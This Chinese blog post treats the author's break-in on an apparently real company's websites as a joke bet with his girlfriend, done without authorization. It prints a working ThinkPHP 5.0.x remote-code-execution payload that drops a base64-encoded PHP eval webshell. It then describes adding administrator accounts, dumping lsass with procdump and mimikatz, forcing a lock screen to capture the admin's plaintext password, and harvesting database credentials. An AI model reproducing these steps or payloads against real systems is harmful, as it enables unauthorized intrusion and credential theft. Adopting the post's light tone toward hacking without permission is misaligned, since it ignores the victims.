和妹子打赌的getshell之“我不做安全了,和我一起锄大地吧”

  • A+

最近失业,流浪在各大街头和老头老太抢矿泉水瓶,掐架都比不过老太太,一天都没几个瓶子(喂,你们群里有瓶子嘛),回来和妹子锄大地吧。牌运倒是很好,赢了妹子好多局,惹得妹子急了:“你这么牛皮哄哄的,大黑阔了不起是吗,哼,也没见你拿过一个站”。凭借多年的高情商,我不仅没有哄妹子开心,还牛皮哄哄跟她打了赌,说今天就给你拿一个站。“好啊,你去吧。哼,不理你了”。看吧,等我拿下一个站后,她一定会很崇拜我的。
0x00 信息收集
信息收集绕不开,也是最重要的一个环节。选了某个企业,先对企业的进行域名信息收集。在百度上发现该企业的两个主站,分别是fxxxx.cc和jxxxx.com,分别进行了子域名的搜索。一般用他人的在线工具,以及Sublist3r、subDomainsBrute和Layer,整合它们的结果,必要时,再百度和Google搜集。大型的厂商建议做N级域名探测:

图片1.png
逐个查看,接着,对各个站点进行指纹识别,可以知道站点是否为已知的CMS、使用何种语言或框架等。有时候,云悉可能没有扫出来,可以使用firefox的插件wappalyzer。在云悉可以查看“该单位其他域名”,这个也可以获得更全面的信息。再收集一下备案信息,也可能有意料之外的收获。

图片2.png
接着,对已知的站点IP使用在线的端口扫描工具进行扫描,识别开放的端口;最后,对GitHub、以及谷歌搜索收集到的信息,进行整合,并作详细记录。当然,中间我省略了像是whois等的搜集。关于信息收集,就不多说了。

0x01 意外的getshell

在对jxxxx.com进行跟进一步的信息收集与漏洞探测时,发现在URL后随意添加字符串,服务器会响应一个报错页面,并打印详细的信息。发现该站点使用了ThinkPHP框架,且版本号为5.0.23——表面毫无波澜,实则内心偷乐了一下。凭借多年的VMware下的yy渗透测试的经验,好吧,我承认我是垃圾哈哈哈哈。

9150e4e5gy1ga6ibogtr9j20d80de3ys.jpg

图片3.png
ThinkPHP 5.0.x和5.1.x存在RCE,直接拿出payload怼上去就好了。可以看到权限很高,但是无奈,怎么都写不进文件,但这也不能说是绝对的坏事。这时候,拿给妹子看了一下,“哦,很厉害啵,哼”。啊,可以感受到妹子已经被我的速度震惊了——这么快!

图片4.png
但我不能骄傲,我还要继续,“哦,那你去吧”,看吧,妹子在鼓励我,盘它!
然而,jxxxx.com的只剩下1个登录框,2个UPUPW_NP页面,然而,对登录框以及PHPmyadmin进行了爆破,都没有进展——啊咧!是我骄傲了嘛?

0x02 又一个shell

别我问为啥是这个标题,实在是想不出来了(狗头保命)。在crm登录界面,使用top500姓名和弱口令进行爆破,发现会被BAN掉;其余的登录处,top500都显示不存在该用户名——太难了。此时距离打牌以及一个钟头了,对fxxxx.cc的crm系统进行探测时,随手又来了一个乱写的URL,又是熟悉的界面,此时的ThinkPHP版本为5.0.12,版本号也是在漏洞范围内的。

图片5.png

图片6.png
此时尝试写入webshell文件,payload:index.php? s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][][email protected]_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)),访问可以执行phpinfo(),蚁剑链接:

图片7.png
在另一个站点demo.fxxxx.cc上,如法炮制了一个shell出来。如下:

11.png
随手又给妹子看了,“哼!不理你了,以后别找我打牌了”!咦,我赢了呀,妹子干嘛不跟我打牌了?妹子一定是看我赢了恼羞成怒,真小气。我继续搞。

0x03 getshell后续

当然,最终的目的肯定是远程桌面(开了3389端口)。故而,在demo.fxxxx.cc的shell上开终端,添加管理员账户,但是,很不幸地无法添加进管理员组:

图片12.png
在crm.fxxxx.cc的shell上开终端,添加管理员账户,成功添加进管理员用户组。但是远程桌面登录时,提示连接被拒绝,没有被授权进行远程登录:

图片13.png
平时碰到这样的情况,如果是权限不够不能添加,可以先提权,获取system权限。如果已经是该权限了,还是不能,可以抓取管理员的明文密码。常用procdump获取内存文件lsass.exe进程中存储的明文登录密码,接着使用mimikatz读取lsass.dmp,这样就可以了。但是,这个过程,你还需要让管理员登录,这样才能抓取到明文密码,否则将读取到(null)。所以,此时需要修改注册表,强制锁屏,这样,管理员看到后会重新登录,这样就可以抓取到明文密码了。
然而,折腾了一番,管理员或许是跟妹子打牌去了,没有获取到,我去!
翻看了一下源代码,取了3个数据库的登录信息。以下只贴出了crm.fxxxx.com的两个数据库:

图片8.png

图片9.png
没什么说的直接连接就好了,没敢乱动数据,毕竟在里面不能玩手机,怎么和妹子打牌:

图片10.png

0x04 写在最后

第二天,醒来就把这些写下来了。当然,不做后续的测试,虽说拿到了用户的登录用户名密码,但是,也没啥意思了,还是和妹子打牌吧。然而,锄大地建房了,妹子始终不上线,啊咧!妹子输怕了吗?“gun啊!不想跟你说话了”。Orz。小破站,foieojoejgoisejgijohgudgadojefoejof不测了!
PS:文中的一切都是在梦游中发生的:)。

相关推荐: 【恶意代码分析技巧】15-恶意代码常见驻留分析

前 言 恶意代码的一个重要功能就是要实现内存常驻,只要常驻内存,恶意代码就可以一直执行恶意行为,不会因为电脑重新启动、切换用户等原因停止。前文介绍的启动、Hook、注入中的很多技术都可以实现内存常驻,除此之外,恶意代码还可以利用一些系统功能实现内存常驻。本文就…